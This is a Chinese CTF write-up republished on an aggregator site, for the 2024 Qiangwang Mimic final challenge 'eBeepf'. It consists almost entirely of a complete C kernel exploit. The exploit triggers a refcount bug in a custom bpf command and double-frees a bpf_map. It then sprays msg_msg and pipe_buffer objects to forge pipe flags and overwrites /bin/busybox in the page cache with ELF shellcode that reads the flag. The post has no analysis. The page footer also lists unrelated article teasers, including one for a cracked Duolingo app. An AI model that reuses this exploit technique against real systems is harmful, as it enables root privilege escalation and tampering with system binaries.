2024强网拟态决赛-eBeepf

漏洞分析与利用

分析后面看情况吧，有时间再写吧，先贴个利用脚本：

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/bpf.h>
#include <sys/prctl.h>
//#include <linux/if_packet.h>
//#include "./bpf_insn.h"void err_exit(char *msg)
{perror(msg);sleep(2);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[35m\033[1m[+] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: \033[0m%#lx\n", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}/* root checker and shell poper */
void get_root_shell(void)
{if(getuid()) {puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");sleep(2);exit(EXIT_FAILURE);}puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");system("/bin/sh");/* to exit the process normally, instead of segmentation fault */exit(EXIT_SUCCESS);
}/* bind the process to specific core */
void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}static inline int bpf(int cmd, union bpf_attr *attr)
{return syscall(__NR_bpf, cmd, attr, sizeof(*attr));
}static __always_inline int
bpf_map_create(unsigned int map_type, unsigned int key_size,unsigned int value_size, unsigned int max_entries)
{union bpf_attr attr = {.map_type = map_type,.key_size = key_size,.value_size = value_size,.max_entries = max_entries,};return bpf(BPF_MAP_CREATE, &attr);
}int create_bpf_array_of_map(int fd, int key_size, int value_size, int max_entries) {union bpf_attr attr = {.map_type = BPF_MAP_TYPE_ARRAY_OF_MAPS,.key_size = key_size,.value_size = value_size,.max_entries = max_entries,
//        .map_flags = BPF_F_MMAPABLE,.inner_map_fd = fd,};int map_fd = syscall(SYS_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));if (map_fd < 0) {return -1;}return map_fd;
}static __always_inline int
bpf_map_lookup_elem(int map_fd, const void* key, void* value)
{union bpf_attr attr = {.map_fd = map_fd,.key = (uint64_t)key,.value = (uint64_t)value,};return bpf(BPF_MAP_LOOKUP_ELEM, &attr);
}static __always_inline int
bpf_map_update_elem(int map_fd, const void* key, const void* value, uint64_t flags)
{union bpf_attr attr = {.map_fd = map_fd,.key = (uint64_t)key,.value = (uint64_t)value,.flags = flags,};return bpf(BPF_MAP_UPDATE_ELEM, &attr);
}static __always_inline int
bpf_map_delete_elem(int map_fd, const void* key)
{union bpf_attr attr = {.map_fd = map_fd,.key = (uint64_t)key,};return bpf(BPF_MAP_DELETE_ELEM, &attr);
}static __always_inline int
bpf_map_get_next_key(int map_fd, const void* key, void* next_key)
{union bpf_attr attr = {.map_fd = map_fd,.key = (uint64_t)key,.next_key = (uint64_t)next_key,};return bpf(BPF_MAP_GET_NEXT_KEY, &attr);
}static __always_inline uint32_t
bpf_map_get_info_by_fd(int map_fd)
{struct bpf_map_info info;union bpf_attr attr = {.info.bpf_fd = map_fd,.info.info_len = sizeof(info),.info.info = (uint64_t)&info,};bpf(BPF_OBJ_GET_INFO_BY_FD, &attr);return info.btf_id;
}void init() {setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);
}int trigger(int map_fd) {union bpf_attr attr = {.map_fd = map_fd,};return bpf(37, &attr);
}int key_alloc(char *description, char *payload, size_t plen)
{return syscall(__NR_add_key, "user", description, payload, plen, KEY_SPEC_PROCESS_KEYRING);
}int key_update(int keyid, char *payload, size_t plen)
{return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}int key_read(int keyid, char *buffer, size_t buflen)
{return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}int key_revoke(int keyid)
{return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}int key_unlink(int keyid)
{return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}struct msg_buf {long mtype;char mtext[1];
};struct msg_header {void* l_next;void* l_prev;long m_type;size_t m_ts;void* next;void* security;
};struct pipe_buffer {uint64_t page; // 存放数据的页框unsigned int offset, len; // 数据的偏移和大小uint64_t ops; // 操作该 buffer 的函数表unsigned int flags; // 标志unsigned long private; // 私有数据
};#define ATTACK_FILE "/bin/busybox"
int main(int argc, char** argv, char** envp)
{init();bind_core(0);int res = 0;char desc[0x10] = { 0 };char buffer[0x1000] = { 0 };char msg_buffer[0x2000] = { 0 };struct msg_buf* msg_buf = (struct msg_buf*)msg_buffer;struct pipe_buffer pipe_buffer_data;#define SPRAY_PIPE_NUMS 0x10int file_fd[SPRAY_PIPE_NUMS];for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {file_fd[i] = open(ATTACK_FILE, O_RDONLY);if (file_fd[i] < 0) err_exit("Failed to open" ATTACK_FILE);}int pipe_fd[SPRAY_PIPE_NUMS][2];for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {pipe(pipe_fd[i]);//	write(pipe_fd[i][1], "XiaozaYa", 8);//	write(pipe_fd[i][1], "BBBBBBBB", 8);loff_t offset = i;if (splice(file_fd[i], &offset, pipe_fd[i][1], NULL, 1, 0) <= 0)err_exit("Failed to exec splice system call");}int qid = msgget(IPC_PRIVATE, 0666|IPC_CREAT);if (qid < 0) err_exit("Failed to exec msgget");int key = 0;prctl(PR_SET_NAME, "XiaozaYa");int inner_map = bpf_map_create(BPF_MAP_TYPE_ARRAY, 4, 4, 10);if (inner_map < 0) err_exit("Failed to bpf_map_create for inner_map");printf("[+] inner_map: %d\n", inner_map);int outer_map = create_bpf_array_of_map(inner_map, 4, 4, 10);if (outer_map < 0) err_exit("Failed to bpf_map_create for outer_map");printf("[+] outer_map: %d\n", outer_map);puts("[+] set inner_map.ref = 2");if (bpf_map_update_elem(outer_map, &key, &inner_map, BPF_ANY) < 0)err_exit("Failed to bpf_map_update_elem");
//	puts("[+] bpf_map_update_elem successfully");puts("[+] BUG set inner_map.ref = 1");trigger(inner_map);puts("[+] close outer_map to free inner_mmap's bpf_map object");// frist free bpf_mapclose(outer_map);puts("[+] try to close inner_map");// double free bpf_map	trigger(inner_map);close(inner_map);puts("[+] spray msg_msg to occupy bpf_map chunk");msg_buf->mtype = 1;memset(msg_buf->mtext, 'A', 512);*(char*)(((char*)msg_buf->mtext) +0xc8+8) = 0x30;if (msgsnd(qid, msg_buf, 0x100-0x30+1, 0) < 0)err_exit("Failed to exec msgsnd");msg_buf->mtype = 2;if (msgsnd(qid, msg_buf, 0x100-0x30+1, 0) < 0)err_exit("Failed to exec msgsnd");//	getchar();puts("[+] spray pipe_buffer to occupy bpf_map chunk again");for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, 0x1000 *8) < 0)err_exit("Failed to exec fcntl");}
//	getchar();memset(buffer, '\x00', sizeof(buffer));if(msgrcv(qid, buffer, 0x100, 2, 0) < 0)err_exit("msgrcv");{uint64_t* addr = buffer +8;if (addr[0] == 0x4141414141414141) {	puts("[x] Failed to leak pipe_buffer");exit(-1);}elsememcpy(&pipe_buffer_data, addr, sizeof(pipe_buffer_data));}binary_dump("pipe_buffer data", &pipe_buffer_data, sizeof(pipe_buffer_data));pipe_buffer_data.flags = 0x10;pipe_buffer_data.offset = 0;memset(msg_buf->mtext, '\x00', 512);memcpy(msg_buf->mtext, &pipe_buffer_data, sizeof(pipe_buffer_data));for (int i = 0; i < 0x10; i++) {msg_buf->mtype = 3+i;if (msgsnd(qid, msg_buf, 512-0x30, 0) < 0)err_exit("Failed to exec msgsnd");}unsigned char elfcode[] = {/*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x48, 0xb8,0x2f, 0x66, 0x6c, 0x61, 0x67, 0x00, 0x00, 0x00, 0x50, 0x6a, 0x02, 0x58,0x48, 0x89, 0xe7, 0x31, 0xf6, 0x0f, 0x05, 0x41, 0xba, 0xff, 0xff, 0xff,0x7f, 0x48, 0x89, 0xc6, 0x6a, 0x28, 0x58, 0x6a, 0x01, 0x5f, 0x99, 0x0f,0x05, 0xeb};sleep(1);for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {write(pipe_fd[i][1], elfcode, sizeof(elfcode));}return 0;
}

远程效果如下：
在这里插入图片描述

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.rhkb.cn/news/477764.html

如若内容造成侵权/违法违规/事实不符，请联系长河编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

Duolingo「多邻国」v6.9.0 解锁Max高级版

Duolingo「多邻国」v6.9.0 解锁Max高级版

前言 Duolingo是一个特别有名的学语言的应用软件&#xff0c;你可以用它来学西班牙语、法语、德语、意大利语、俄语等等好多种语言。当然&#xff0c;用它来学英语也是个不错的选择。 安装环境 [名称]&#xff1a;Duolingo「多邻国」 [大小]&#xff1a;79MB [版本]&#x…
阅读更多...
鸿蒙开发-音视频

鸿蒙开发-音视频

Media Kit 特点 一般场合的音视频处理&#xff0c;可以直接使用系统集成的Video组件&#xff0c;不过外观和功能自定义程度低Media kit&#xff1a;轻量媒体引擎&#xff0c;系统资源占用低支持音视频播放/录制&#xff0c;pipeline灵活拼装&#xff0c;插件化扩展source/demu…
阅读更多...
基于SSM的婚庆管理系统+LW示例参考

基于SSM的婚庆管理系统+LW示例参考

1.项目介绍 系统角色&#xff1a;管理员、商家&#xff08;婚庆公司&#xff09;、用户功能模块&#xff1a;管理员&#xff08;用户管理、商家管理、摄影风格管理、礼服款式管理、案例管理、婚车品牌管理、婚纱拍摄管理、策划服务管理、婚宴酒店管理、婚车套餐管理、在线咨询…
阅读更多...
manin动画编程（安装+入门）

manin动画编程（安装+入门）

文章目录 1.基本介绍2.效果展示3.安装步骤3.1安装manba软件3.2配置环境变量3.3查看是否成功3.4什么是mamba3.5创建虚拟环境3.6尝试进入虚拟环境 4.vscode操作4.1默认配置文件 5.安装ffmpeg6.安装manim软件6.vscode制作7.我的学习收获 1.基本介绍 这个manim就是一款软件&#x…
阅读更多...
CH595 驱动数码管

CH595 驱动数码管

先上原理图 我手里的是型号SR410361K的 4段数码管是共阳的&#xff08;低电平驱动&#xff09;&#xff0c;先发送数据&#xff0c;然后发送片选 共阴 共阳的图如下&#xff1a; 如何测量呢&#xff1f; 首先将数字万用表档位调节到蜂鸣器/二极管档&#xff0c;红表笔和黑表笔…
阅读更多...
Vue生命周期详解

Vue生命周期详解

目录 1.beforeCreate2.created3.beforeMount4.mounted5.beforeUpdate6.updated7.beforeUnmount&#xff08;beforeDestroy&#xff09;8.unmounted&#xff08;destroyed&#xff09; 1.beforeCreate 分析 beforeCreate执行时Vue实例还没有被创建&#xff0c;data和methods也…
阅读更多...
MySQL底层概述—1.InnoDB内存结构

MySQL底层概述—1.InnoDB内存结构

大纲 1.InnoDB引擎架构 2.Buffer Pool 3.Page管理机制之Page页分类 4.Page管理机制之Page页管理 5.Change Buffer 6.Log Buffer 1.InnoDB引擎架构 (1)InnoDB引擎架构图 (2)InnoDB内存结构 (1)InnoDB引擎架构图 下面是InnoDB引擎架构图&#xff0c;主要分为内存结构和磁…
阅读更多...
【力扣算法题】双指针-战场上的矛与盾的组合（移动零）（快乐数）

【力扣算法题】双指针-战场上的矛与盾的组合（移动零）（快乐数）

前言 &#x1f31f;&#x1f31f;本期讲解关于力扣算法两道双指针题目解析~~~ &#x1f308;感兴趣的小伙伴看一看小编主页&#xff1a;GGBondlctrl-CSDN博客 &#x1f525; 你的点赞就是小编不断更新的最大动力 &#x1f386;那么…
阅读更多...
第三十九篇 ShuffleNet V1、V2模型解析

第三十九篇 ShuffleNet V1、V2模型解析

摘要 ShuffleNet V1 ShuffleNet V1是由旷视科技&#xff08;Megvii&#xff0c;又称Face&#xff09;在2017年底提出的一种轻量级卷积神经网络架构。该网络专为移动设备和边缘计算环境设计&#xff0c;旨在以较低的计算资源实现高效的图像分类和其他计算机视觉任务。 特点与…
阅读更多...
Springboot系列之：创建Springboot项目，Springboot整合MyBatis-plus

Springboot系列之：创建Springboot项目，Springboot整合MyBatis-plus

Springboot系列之&#xff1a;创建Springboot项目&#xff0c;Springboot整合MyBatis-plus 一、快速创建Spring boot项目二、项目完整目录三、pom.xml四、application.yaml五、实体类六、mapper七、IService接口八、Service实现类九、配置类十、枚举十一、增删改查测试类十二、…
阅读更多...
C++：用红黑树封装map与set-1

C++：用红黑树封装map与set-1

文章目录 前言一、STL源码分析二、红黑树的构建三、map与set整体框架的搭建与解析四、如何取出进行比较&#xff1f;1. met与set的数据是不同的2. 取出数据进行比较1&#xff09;问题发现2&#xff09;仿函数解决 五、封装插入六、迭代器的实现1. operator* 与operator->2. …
阅读更多...
Perforce《2024游戏技术现状报告》Part3：生成式AI、版本控制、CI/CD等游戏技术的未来趋势与应用

Perforce《2024游戏技术现状报告》Part3：生成式AI、版本控制、CI/CD等游戏技术的未来趋势与应用

游戏开发者一直处于创新前沿。他们的实践、工具和技术受到各行各业的广泛关注&#xff0c;正在改变着组织进行数字创作的方式。 近期&#xff0c;Perforce发布了《2024游戏技术现状报告》&#xff0c;通过收集来自游戏、媒体与娱乐、汽车和制造业等高增长行业的从业者、管理人…
阅读更多...
4-SpringCloud整合服务间的调用即负载均衡

4-SpringCloud整合服务间的调用即负载均衡

springcloud目录&#xff1a; 1.Spring Cloud简介 2.SpringCloud整合eureka注册中心 3.SpringCloud整合服务注册 4.SpringCloud整合服务间的调用即负载均衡 5.SpringCloud整合Feign调用 6.SpringCloud整合config配置中心 7.SpringCloud整合zuul路由网关 我们复制一个yqx-user服…
阅读更多...
Elasticsearch客户端在和集群连接时，如何选择特定的节点执行请求的？

Elasticsearch客户端在和集群连接时，如何选择特定的节点执行请求的？

大家好&#xff0c;我是锋哥。今天分享关于【Elasticsearch客户端在和集群连接时&#xff0c;如何选择特定的节点执行请求的&#xff1f;】面试题。希望对大家有帮助&#xff1b; Elasticsearch客户端在和集群连接时&#xff0c;如何选择特定的节点执行请求的&#xff1f; 100…
阅读更多...
深入浅出，快速安装并了解汇编语言

深入浅出，快速安装并了解汇编语言

1.什么是汇编语言 了解汇编语言需要先从了解机器语言开始&#xff0c;在计算机发展的初期阶段&#xff0c;机器语言是计算机直接理解和执行的二进制代码语言&#xff0c;其核心特点包括直接执行性、资源高效性、学习难度大以及平台依赖性。它主要由指令码构成&#xff0c;这些…
阅读更多...
2.2_3 纠错编码—海明码

2.2_3 纠错编码—海明码

目录 1、海明码的纠错过程 2、海明距离 3、确认检验码位数 4、确定校验码和数据的位置 5、求出校验码的值 6、检错并纠错 方法一 方法二 1、海明码的纠错过程 2、海明距离 两个合法编码(码字)的对应比特取值不同的比特数称为这两个码字的海明距离(码距)&#xff0c;一…
阅读更多...
1992-2021年 各省市县经过矫正的夜间灯光数据（GNLD、VIIRS）区域汇总：省份、城市、区县面板数据

1992-2021年 各省市县经过矫正的夜间灯光数据（GNLD、VIIRS）区域汇总：省份、城市、区县面板数据

1992-2021年 各省市县经过矫正的夜间灯光数据&#xff08;GNLD、VIIRS&#xff09;区域汇总&#xff1a;省份、城市、区县面板数据 .r.rar https://download.csdn.net/download/2401_84585615/90001905 从1992年至2021年&#xff0c;中国各省份、城市及区县的夜间灯光数据经过…
阅读更多...
微信小程序上传微信官方审核流程（1）

微信小程序上传微信官方审核流程（1）

1&#xff0c;打开微信开发者工具 2&#xff0c;微信开发者工具右上角有一个上传按钮&#xff0c;点击上传按钮 3&#xff0c;点击完上传按钮会弹出一个上传成功的提示&#xff0c;点击提示框中的确定按钮 4&#xff0c;点击完确定按钮后会显示填写版本好和项目备注 5&#x…
阅读更多...
快速获取镜像包的方法

快速获取镜像包的方法

1、当我们需要在无网络的环境中&#xff0c;在Docker环境中安装某个镜像时&#xff0c;需要先下载这个镜像包后&#xff0c;再上传 2、下面以在minio为例 在有网络的电脑中使用使用命令下载 docker pull minio/minio将下载好的tar包保存到指定的目录下 save -o /home/cl/app…
阅读更多...
11 —— 打包模式的应用

11 —— 打包模式的应用

需求&#xff1a;在开发模式下想让webpack使用style-loader进行css样式的处理&#xff1b;让它把css代码内嵌在js中&#xff1b;在生产模式下提取css代码 —— 判断当前运行命令时所在的环境 方案&#xff1a;借助cross-env全局软件包&#xff0c;设置参数区分打包运行环境 …
阅读更多...
最新文章
推荐文章

Copyright @ 2022~2023